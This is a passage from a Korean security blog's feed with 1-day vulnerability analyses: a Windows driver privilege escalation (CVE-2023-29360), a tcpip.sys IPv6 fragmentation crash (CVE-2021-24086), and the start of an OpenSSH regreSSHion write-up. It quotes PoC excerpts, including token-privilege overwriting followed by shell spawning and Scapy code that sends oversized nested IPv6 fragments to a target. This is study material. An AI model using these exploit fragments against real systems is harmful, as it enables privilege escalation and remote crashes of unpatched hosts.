&lt;p&gt;PoC는 &amp;lt;a href=&quot;https://github.com/Nero22k/cve-2023-29360&quot;&amp;gt;여기&amp;lt;/a&amp;gt;에서 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;PoC의 일부를 확인해보면 다음과 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int main()
{
	...
	tokenAddress = GetTokenAddress();

	uint64_t privaddr = tokenAddress + OFFSET_OF_TOKEN_PRIVILEGES;
	
	...
	
	success = PublishTx(DeviceH3, privaddr); // 토큰 권한 영역
	
	uint8_t *mappedAddress = NULL;

	success = ConsumeTx(DeviceH3, &amp;amp;mappedAddress); // 유저 영역에 토큰 권한 영역 매핑

	...

	if(mappedAddress != NULL)
	{
		// Enable all privileges
		memset(mappedAddress, 0xFF, 0x10);
		spawnShell();
	}
	
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;앞서 살펴본 취약점으로 사용자 영역에 커널 영역의 물리주소를 매핑하고 이를 덮어쓴 후, 쉘을 실행시키는 것을 볼 수 있습니다.&lt;/p&gt;
&lt;h1&gt;Video&lt;/h1&gt;
&lt;p&gt;&amp;lt;video width=&quot;100%&quot; height=&quot;100%&quot; controls&amp;gt;
&amp;lt;source src=&quot;/assets/videos/CVE-2023-29360/CVE-2023-29360.mkv&quot; type=&quot;video/webm&quot;&amp;gt;
&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;h1&gt;Patch&lt;/h1&gt;
&lt;p&gt;이번에 알아본 취약점은 FsAllocAndLockMdl에서 다음과 같은 패치가 이루어졌습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- MmProbeAndLockPages(Mdl, 0, IoWriteAccess);
+ MmProbeAndLockPages(Mdl, 1, IoWriteAccess);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이로써 검증 코드가 실행되어 DeviceIoControl을 통해 커널 영역을 MDL로 잠글 수 없게되었습니다.&lt;/p&gt;
&lt;h1&gt;Mitigation&lt;/h1&gt;
&lt;p&gt;해당 취약점에 대한 보안 업데이트를 통해 취약점을 완화시킬 수 있습니다.&lt;/p&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://big5-sec.github.io/posts/CVE-2023-29360-analysis/&quot;&amp;gt;https://big5-sec.github.io/posts/CVE-2023-29360-analysis/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://github.com/Nero22k/cve-2023-29360&quot;&amp;gt;https://github.com/Nero22k/cve-2023-29360&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb&quot;&amp;gt;https://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;http://bsodtutorials.blogspot.com/2013/12/understanding-mdls-memory-descriptor.html&quot;&amp;gt;http://bsodtutorials.blogspot.com/2013/12/understanding-mdls-memory-descriptor.html&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29360&quot;&amp;gt;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29360&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>CVE-2021-24086</title><link>https://aidenkim-com.github.io/posts/cve-2021-24086/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/cve-2021-24086/</guid><description>Analysis of Windows TCP/IP IPv6 Denial of Service (DoS) Vulnerability</description><pubDate>Mon, 04 Nov 2024 15:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;TOOR 팀 활동을 하며 분석하게된 윈도우 커널 드라이버 원데이 취약점에 관한 글입니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/toor.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이번에 알아볼 취약점은 &amp;lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24086&quot;&amp;gt;2021년 2월 9일&amp;lt;/a&amp;gt;에 공개된 DoS 취약점입니다.&lt;/p&gt;
&lt;p&gt;윈도우 &lt;code&gt;tcpip.sys&lt;/code&gt;에서 IPv6의 재조립 패킷을 처리하는 도중 잘못된 처리로 인하여 취약점이 발생합니다.&lt;/p&gt;
&lt;p&gt;본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료는 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/&quot;&amp;gt;https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html&quot;&amp;gt;https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Vuln&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CVE-ID : &amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-24086&quot;&amp;gt;CVE-2021-24086&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;CWE : Insufficient Information&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Env&lt;/h1&gt;
&lt;p&gt;디핑 결과 분석은 현재 공개된 &amp;lt;a href=&quot;https://github.com/0vercl0k/CVE-2021-24086/tree/main&quot;&amp;gt;PoC Repository&amp;lt;/a&amp;gt;에 있는 두 파일을 활용했습니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/poc_github_binaries.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;동적 분석을 진행한 victim 빌드 버전은 다음과 같습니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/victim_version.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h1&gt;Identifying the differences in the tcpip.sys driver&lt;/h1&gt;
&lt;p&gt;주어진 몇몇의 정보를 토대로 IPv6의 &lt;code&gt;Fragment&lt;/code&gt; 패킷 재조립 과정에서 취약점이 발생한다는 사실을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-24086https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-24086&quot;&amp;gt;MSRC&amp;lt;/a&amp;gt;에 나와있듯 취약점은 재조립 패킷 처리를 비활성화 함으로써 완화시킬 수 있습니다. 이를 통해서 재조립 과정에서 취약점이 발생할 수 있다 생각할 수 있습니다.&lt;/p&gt;
&lt;p&gt;또한 주어진 두 파일의 IPv6를 디핑해보면 다음과 같은 두 함수에서 유사도에 차이가 생겼음을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/diffing.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;IPv6pReassembleDatagram&lt;/code&gt;에 다음과 같은 차이가 생겼는데 특정한 연산의 결과에 대해 &lt;code&gt;0xFFFF&lt;/code&gt;보다 큰지 체크하는 로직이 생겨났습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/Ipv6pReassembleDatagram_diff_1.png&quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/Ipv6pReassembleDatagram_diff_2.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;PoC와 함께 RCA를 알아봅시다.&lt;/p&gt;
&lt;h1&gt;RCA&lt;/h1&gt;
&lt;p&gt;PoC를 작동시켜보면 다음과 같이 &lt;code&gt;Ipv6pReassembleDatagram&lt;/code&gt;의 코드 중 &lt;code&gt;NdisGetDataBuffer&lt;/code&gt; 호출문에서의 반환값이 &lt;code&gt;NULL&lt;/code&gt;이 될때 &lt;code&gt;NULL&lt;/code&gt; 포인터 역참조로 인해서 BSOD가 발생하는 모습을 볼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/bsod.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NdisGetDataBuffer&lt;/code&gt;에서 다음과 같이 &lt;code&gt;NULL&lt;/code&gt;이 반환되고
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/null_return.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이는 스택에 저장되었다. 이후에 참조되지만 &lt;code&gt;NULL&lt;/code&gt; 포인터이므로 역참조 했을 때 크래시가 발생합니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/null_pointer_deref.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/decompiled_code.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;위의 흐름을 보면 알 수 있듯, 해당 로직에선 &lt;code&gt;NdisGetDataBuffer&lt;/code&gt;가 반환한 포인터가 &lt;code&gt;NULL&lt;/code&gt;이 아닌 것으로 신뢰하고 있기 때문에 발생하는 모습을 볼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Ipv6pReassembleDatagram&lt;/code&gt;은 IPv6의 &lt;code&gt;Fragmentation&lt;/code&gt; 패킷을 처리할 때 호출됩니다. 취약점에서 집중해야할 주요 함수들은 다음과 같습니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/Ipv6pReassembleDatagram.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;해당 부분의 &lt;code&gt;BytesNeeded&lt;/code&gt;는 재조립되어야할 패킷 중 &lt;code&gt;Unfragmentable part&lt;/code&gt;의 길이를 구하는 부분입니다. 이는 재조립될 패킷을 저장할 영역을 할당할 때 길이정보로 사용됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BytesNeeded = v3 + 40;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;앞서 계산한 &lt;code&gt;BytesNeeded&lt;/code&gt;로 필요한 데이터 영역을 할당합니다. 일때 유심하게봐야할 것은 &lt;code&gt;(unsigned __int16)BytesNeeded&lt;/code&gt;로 2바이트로 크기 잘린다는 것입니다.
여기서 &lt;code&gt;v15&lt;/code&gt;로 할당된 메모리 영역은 이후에 취약점을 살펴볼 때 봤던 함수인 &lt;code&gt;NdisGetDataBuffer&lt;/code&gt;에서 사용됩니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;NdisGetDataBuffer
Call the NdisGetDataBuffer function to gain access to a contiguous block of data from a NET_BUFFER structure.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;if ( (int)NetioRetreatNetBuffer(v15, (unsigned __int16)BytesNeeded, 0i64) &amp;lt; 0 )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;앞서 v15에 할당한 메모리 영역을 다시 &lt;code&gt;NdisGetDataBuffer&lt;/code&gt; 요구하는 모습입니다. 이때 &lt;code&gt;BytesNeeded&lt;/code&gt;는 잘림없이 그대로 들어가게됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BytesNeededa = NdisGetDataBuffer((PNET_BUFFER)v15, BytesNeeded, 0i64, 1u, 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이때 문제점이 발생합니다. 만약 &lt;code&gt;BytesNeeded == 0x1FFFF&lt;/code&gt;인 상황이 발생하면 어떻게 될까요? 위에서 &lt;code&gt;NetioRetreatNetBuffer&lt;/code&gt;에 의해서 할당한 메모리의 크기는 &lt;code&gt;0xFFFF&lt;/code&gt;지만 &lt;code&gt;NdisGetDataBuffer&lt;/code&gt;에서는 &lt;code&gt;0x1FFFF&lt;/code&gt;를 요구하게됩니다. 할당된 메모리보다 사용을 위해 요구하는 메모리의 크기가 더 크면 &lt;code&gt;NdisGetDataBuffer&lt;/code&gt;는 어떻게 행동하는지 문서를 확인해봅시다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Return value
NdisGetDataBuffer returns a pointer to the start of the contiguous data or it returns NULL.&lt;/p&gt;
&lt;p&gt;If the DataLength member of the NET_BUFFER_DATA structure in the NET_BUFFER structure that the NetBuffer parameter points to is less than the value in &amp;gt;the BytesNeeded parameter, the return value is NULL.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;할당된 메모리 길이(DataLength) 보다 파라미터로 요구한 &lt;code&gt;BytesNeeded&lt;/code&gt;가 더 클 경우 &lt;code&gt;NULL&lt;/code&gt;을 반환한다고 되어있습니다.&lt;/p&gt;
&lt;p&gt;위에서 알아봤듯, 계산된 IPv6 헤더 크기(40) + 확장 헤더의 크기가 &lt;code&gt;0xFFFF&lt;/code&gt;보다 커지는 상황이되면 BSOD가 발생합니다.
어떻게 이러한 패킷을 만들어내는지 PoC를 확인해봅시다.&lt;/p&gt;
&lt;h1&gt;PoC&lt;/h1&gt;
&lt;p&gt;현재 공개된 &amp;lt;a href=&quot;https://github.com/0vercl0k/CVE-2021-24086/blob/main/cve-2021-24086.py&quot;&amp;gt;PoC&amp;lt;/a&amp;gt;를 확인해봅시다.&lt;/p&gt;
&lt;p&gt;PoC 코드는 간단합니다. PoC에서는 공격을 위해서 &amp;lt;a href=&quot;https://media.blackhat.com/ad-12/Atlasis/bh-ad-12-security-impacts-atlasis-wp.pdf&quot;&amp;gt;중첩된 Fragment 패킷&amp;lt;/a&amp;gt;을 이용합니다.&lt;/p&gt;
&lt;p&gt;취약점 트리거를 위해 다음과 같이 거대한 헤더를 갖는 &lt;code&gt;Reassemble&lt;/code&gt; 패킷을 만들어냅니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;reassembled_pkt = IPv6ExtHdrDestOpt(options = [
            PadN(optdata=(&apos;a&apos;*0xff)),
            PadN(optdata=(&apos;b&apos;*0xff)),
            PadN(optdata=(&apos;c&apos;*0xff)),
            PadN(optdata=(&apos;d&apos;*0xff)),
            PadN(optdata=(&apos;e&apos;*0xff)),
            PadN(optdata=(&apos;f&apos;*0xff)),
            PadN(optdata=(&apos;0&apos;*0xff)),
        ]) \
        / ... \
        / IPv6ExtHdrFragment(
            id = second_pkt_id, m = 1,
            nh = 17, offset = 0
        ) \
        / UDP(dport = 31337, sport = 31337, chksum=0x7e7f)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;다음은 재조립을 유도하기 위해서 이후 재조립에 사용될 패킷을 전송합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    sendp(frags, iface= args.iface)

    reassembled_pkt_2 = Ether() \
        / IPv6(dst = args.target) \
        / IPv6ExtHdrFragment(id = second_pkt_id, m = 0, offset = 1, nh = 17) \
        / &apos;doar-e ftw&apos;

    sendp(reassembled_pkt_2, iface = args.iface)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이를 통해 길이가 &lt;code&gt;0xFFFF&lt;/code&gt;가 넘는 재조립 패킷을 만들 수 있습니다.&lt;/p&gt;
&lt;p&gt;다음과 같이 &lt;code&gt;0xFFE8 + 0x28&lt;/code&gt; 형태의 &lt;code&gt;Nested fragment&lt;/code&gt; 패킷을 전송하여 길이 연산결과가 &lt;code&gt;0x10010&lt;/code&gt;되게 만듭니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/big_unfrag.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이때 잘림 현상에 의해서 &lt;code&gt;NetioRetreatNetBuffer&lt;/code&gt;로 전달되는 메모리 할당 길이는 &lt;code&gt;0x10&lt;/code&gt;이 되고
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/call_NetioRetreatNetBuffer.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NdisGetDataBuffer&lt;/code&gt;로 요구하는 데이터의 크기는 &lt;code&gt;0x10010&lt;/code&gt;이됩니다. 따라서 &lt;code&gt;NdisGetDataBuffer&lt;/code&gt;는 &lt;code&gt;NULL&lt;/code&gt;을 반환하게되고 &lt;code&gt;NULL&lt;/code&gt; 포인터 역참조가 발생합니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/call_NdisGetDataBuffer.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h1&gt;Video&lt;/h1&gt;
&lt;p&gt;&amp;lt;video width=&quot;100%&quot; height=&quot;100%&quot; controls&amp;gt;
&amp;lt;source src=&quot;/assets/videos/CVE-2021-24086/CVE-2021-24086.mkv&quot; type=&quot;video/webm&quot;&amp;gt;
&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;h1&gt;Patch&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;Ipv6pReassembleDatagram&lt;/code&gt;의 코드가 다음과 같이 패치된 것을 볼 수 있습니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2021-24086/patched.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;해당 코드에서 나타나있는 &lt;code&gt;v30&lt;/code&gt;은 &lt;code&gt;BytesNeeded&lt;/code&gt;를 구할 때 사용한 &lt;code&gt;v3&lt;/code&gt;(확장 헤더 영역의 길이)와 데이터 길이로 구성되는 재조합된 패킷의 총 길이를 의미합니다.&lt;/p&gt;
&lt;p&gt;이 길이가 &lt;code&gt;0xFFFF&lt;/code&gt;가 넘어갈 때 해당 재조립 패킷을 폐기시켜 앞서 알아본 바이트 잘림에 의한 &lt;code&gt;NdisGetDataBuffer&lt;/code&gt;가 &lt;code&gt;NULL&lt;/code&gt;을 반환하는 상황을 방지합니다.&lt;/p&gt;
&lt;h1&gt;Mitigation&lt;/h1&gt;
&lt;p&gt;취약점은 해당 취약점에 대한 보안 업데이트를 다운로드 받아 적용하거나 IPv6의 재조립 패킷을 처리하는 중 발생하기 때문에 다음과 같이 IPv6의 재조립 기능을 비활성화시켜 취약점을 완화시킬 수도 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Netsh int ipv6 set global reassemblylimit=0
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/&quot;&amp;gt;https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html&quot;&amp;gt;https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>CVE-2024-6387/CVE-2006-5051/CVE-2008-4109</title><link>https://aidenkim-com.github.io/posts/cve-2024-6387/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/cve-2024-6387/</guid><description>Analysis of Vulnerabilities in OpenSSH Server on a glibc-based Linux System</description><pubDate>Mon, 14 Oct 2024 15:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;TOOR 팀 활동을 하며 분석하게된 OpenSSH 원데이 취약점에 관한 글입니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/toor.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CVE-2024-6387&lt;/code&gt;은 7월 1일에 공개된 &amp;lt;a href=&quot;https://en.wikipedia.org/wiki/Qualys&quot;&amp;gt;Qualys&amp;lt;/a&amp;gt;에서 발견하고 &lt;code&gt;OpenSSH&lt;/code&gt; 버전 &lt;code&gt;9.8/9.8p1&lt;/code&gt;에서 패치된 취약점입니다.
&lt;code&gt;CVE-2024-6387&lt;/code&gt;은 &lt;code&gt;CVE-2006-5051&lt;/code&gt;의 보안 회귀(Security Regression)로, 패치되었던 취약점이 잘못된 패치로 인해서 재발생한 케이스입니다.
&lt;code&gt;CVE-2006-5051&lt;/code&gt;의 보안 회귀 취약점이기 때문에 해당 취약점은 &quot;RegreSSHion&quot;이란 이름으로 불리고 있습니다.&lt;/p&gt;
&lt;p&gt;두 취약점 모두 &lt;code&gt;glibc&lt;/code&gt;를 기반으로둔 리눅스 시스템 프로그램인 &lt;code&gt;OpenSSH&lt;/code&gt;의 서버 프로그램에 존재하는 &lt;code&gt;SIGALRM&lt;/code&gt; 시그널 핸들러에서 &lt;code&gt;Async-signal-unsafe&lt;/code&gt; 함수를 사용하여 발생하게 되는 취약점입니다. 이로인해 레이스 컨디션이 발생할 수 있습니다. 결과적으론 해당 취약점으로 인해 root 권한으로 대상 서버에 대한 RCE가 가능해집니다.&lt;/p&gt;
&lt;p&gt;본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 &lt;code&gt;PoC&lt;/code&gt; 분석에 많은 도움이된 자료는 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt&quot;&amp;gt;https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Vuln&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CVE-ID : CVE-2024-6387&lt;/li&gt;
&lt;li&gt;CWE : &amp;lt;a href=&quot;http://cwe.mitre.org/data/definitions/362.html&quot;&amp;gt;CWE-362&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://cwe.mitre.org/data/definitions/364.html&quot;&amp;gt;CWE-364&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;영향 받는 버전
&amp;lt;table&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;th bgcolor=&quot;#00ff7f&quot; style=&quot;color:black&quot;&amp;gt;취약하지 않은 버전&amp;lt;/th&amp;gt;
&amp;lt;th bgcolor=&quot;#fa8072&quot; style=&quot;color:black&quot;&amp;gt;취약한 버전&amp;lt;/th&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/table&amp;gt;
&amp;lt;table&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;th&amp;gt; Release &amp;lt;/th&amp;gt;
&amp;lt;th&amp;gt; Status &amp;lt;/th&amp;gt;
&amp;lt;th&amp;gt; Date &amp;lt;/th&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td bgcolor=&quot;#fa8072&quot; style=&quot;color:black&quot;&amp;gt; &amp;lt; 4.4p1 &amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt; CVE-2006-5051 또는 CVE-2008-4109에 대한 패치가 적용되지 않았을 경우 취약 &amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt; 2006년 9월 27일 이전 &amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td bgcolor=&quot;#00ff7f&quot; style=&quot;color:black&quot;&amp;gt; 4.4p1 ≤ OpenSSH &amp;lt; 8.5p1 &amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt; Mitigation 적용으로 취약하지 않음 &amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt; 2006년 9월 27일 ~ 2021년 3월 3일 &amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td bgcolor=&quot;#fa8072&quot; style=&quot;color:black&quot;&amp;gt; 8.5p1 ≤ OpenSSH &amp;lt; 9.8p1 &amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt; 취약점 재발 &amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt; 2021년 3월 3일 ~ 2024년 7월 1일 &amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td bgcolor=&quot;#00ff7f&quot; style=&quot;color:black&quot;&amp;gt; ≥ 9.8p1 &amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt; 회귀에 대한 패치 적용 &amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt; 2024년 7월 1일 이후 &amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/table&amp;gt;
Reference : &amp;lt;a href=&quot;https://en.wikipedia.org/wiki/RegreSSHion&quot;&amp;gt;https://en.wikipedia.org/wiki/RegreSSHion&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;RCA&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;CVE-2024-6387&lt;/code&gt;에 대해 알아보기 전 먼저 &lt;code&gt;CVE-2006-5051&lt;/code&gt;에 대해서 알아보고 해당 취약점이 어떻게 재발생하게되었는지 알아봅시다.&lt;/p&gt;
&lt;h2&gt;CVE-2006-5051&lt;/h2&gt;
&lt;p&gt;OpenSSH의 코드 중 sshd.c에 존재하는 &amp;lt;a href=&quot;https://github.com/openssh/openssh-portable/blob/V_4_3/sshd.c#L307&quot;&amp;gt;&lt;code&gt;grace_alarm_handler&lt;/code&gt;&amp;lt;/a&amp;gt;는 사용자가 로그인 요청을 하고나서 일정 시간이 지나도록 로그인을 하지 않으면 발생하는 &lt;code&gt;SIGALRM&lt;/code&gt; 시그널을 처리하는 함수입니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;grace_alarm_handler&lt;/code&gt;는 sshd의 &amp;lt;a href=&quot;https://github.com/openssh/openssh-portable/blob/V_4_3/sshd.c#L1685&quot;&amp;gt;&lt;code&gt;main&lt;/code&gt; 함수에서 설정&amp;lt;/a&amp;gt;되고 &lt;code&gt;sshd_config&lt;/code&gt; 지시어(LoginGraceTime)로 설정된 일정 시간이 지나게되었을 때 발생하는 &lt;code&gt;SIGALRM&lt;/code&gt; 시그널을 처리하기 위해 호출됩니다.&lt;/p&gt;
&lt;p&gt;다음과 같이 로그인 시도 후 &lt;code&gt;LoginGraceTime&lt;/code&gt;이 설정되어있다면 인증 시간 초과(&lt;code&gt;SIGALRM&lt;/code&gt;)에 의해 &lt;code&gt;grace_alarm_handler&lt;/code&gt;가 호출됩니다.&lt;/p&gt;
&lt;p&gt;영상에 나온 OpenSSH 버전은 &lt;code&gt;9.2p&lt;/code&gt;로 &lt;code&gt;grace_alarm_handler&lt;/code&gt;의 작동을 보여드리기 위해 사용되었습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;video width=&quot;100%&quot; height=&quot;100%&quot; controls&amp;gt;
&amp;lt;source src=&quot;/assets/videos/CVE-2024-6387/sigalarm_grace.mkv&quot; type=&quot;video/webm&quot;&amp;gt;
&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;OpenSSH 4.3&lt;/code&gt; 버전의 &amp;lt;a href=&quot;https://github.com/openssh/openssh-portable/blob/V_4_3/sshd.c#L307&quot;&amp;gt;&lt;code&gt;grace_alarm_handler&lt;/code&gt;&amp;lt;/a&amp;gt;는 다음과 같이 작성되어있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * Signal handler for the alarm after the login grace period has expired.
 */
static void
grace_alarm_handler(int sig)
{
	/* XXX no idea how fix this signal handler */

